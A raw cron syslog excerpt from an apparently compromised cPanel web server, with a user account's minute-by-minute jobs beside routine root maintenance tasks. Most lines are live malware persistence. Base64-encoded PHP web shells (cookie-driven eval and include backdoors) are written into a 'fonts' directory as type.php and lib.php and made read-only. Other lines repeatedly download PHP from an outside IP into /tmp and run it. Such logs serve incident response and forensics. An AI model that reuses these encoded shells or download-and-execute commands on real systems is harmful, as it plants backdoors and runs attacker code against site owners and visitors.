Sep  1 10:01:01 ip-184-168-122-23 CROND[1453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:01:01 ip-184-168-122-23 CROND[1457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1452]: starting 0anacron
Sep  1 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1472]: finished 0anacron
Sep  1 10:02:01 ip-184-168-122-23 CROND[1571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:02:01 ip-184-168-122-23 CROND[1572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:02:01 ip-184-168-122-23 CROND[1575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:02:01 ip-184-168-122-23 CROND[1576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:02:01 ip-184-168-122-23 CROND[1574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:03:01 ip-184-168-122-23 CROND[1676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:03:01 ip-184-168-122-23 CROND[1677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:03:01 ip-184-168-122-23 CROND[1678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:03:01 ip-184-168-122-23 CROND[1679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:04:01 ip-184-168-122-23 CROND[1788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:04:01 ip-184-168-122-23 CROND[1792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:04:01 ip-184-168-122-23 CROND[1791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:04:01 ip-184-168-122-23 CROND[1789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:04:01 ip-184-168-122-23 CROND[1793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:05:02 ip-184-168-122-23 CROND[1921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:05:02 ip-184-168-122-23 CROND[1923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:05:02 ip-184-168-122-23 CROND[1925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:05:02 ip-184-168-122-23 CROND[1927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:05:02 ip-184-168-122-23 CROND[1928]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 10:05:02 ip-184-168-122-23 CROND[1929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:05:02 ip-184-168-122-23 CROND[1930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:06:01 ip-184-168-122-23 CROND[2043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:06:01 ip-184-168-122-23 CROND[2044]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:06:01 ip-184-168-122-23 CROND[2048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:06:01 ip-184-168-122-23 CROND[2053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:06:01 ip-184-168-122-23 CROND[2052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:07:01 ip-184-168-122-23 CROND[2256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:07:01 ip-184-168-122-23 CROND[2258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:07:01 ip-184-168-122-23 CROND[2257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:07:01 ip-184-168-122-23 CROND[2259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:08:01 ip-184-168-122-23 CROND[2382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:08:01 ip-184-168-122-23 CROND[2383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:08:01 ip-184-168-122-23 CROND[2385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:08:01 ip-184-168-122-23 CROND[2384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:08:01 ip-184-168-122-23 CROND[2386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:09:01 ip-184-168-122-23 CROND[2543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:09:01 ip-184-168-122-23 CROND[2544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:09:01 ip-184-168-122-23 CROND[2549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:09:01 ip-184-168-122-23 CROND[2546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:09:01 ip-184-168-122-23 CROND[2547]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 10:10:01 ip-184-168-122-23 CROND[2663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:10:01 ip-184-168-122-23 CROND[2664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:10:01 ip-184-168-122-23 CROND[2665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:10:01 ip-184-168-122-23 CROND[2668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:10:01 ip-184-168-122-23 CROND[2671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:10:01 ip-184-168-122-23 CROND[2672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:10:01 ip-184-168-122-23 CROND[2673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:10:01 ip-184-168-122-23 CROND[2670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:11:01 ip-184-168-122-23 CROND[2807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:11:01 ip-184-168-122-23 CROND[2808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:11:01 ip-184-168-122-23 CROND[2811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:11:01 ip-184-168-122-23 CROND[2812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:12:01 ip-184-168-122-23 CROND[2928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:12:02 ip-184-168-122-23 CROND[2930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:12:02 ip-184-168-122-23 CROND[2932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:12:02 ip-184-168-122-23 CROND[2931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:12:02 ip-184-168-122-23 CROND[2933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:13:01 ip-184-168-122-23 CROND[3128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:13:01 ip-184-168-122-23 CROND[3131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:13:01 ip-184-168-122-23 CROND[3130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
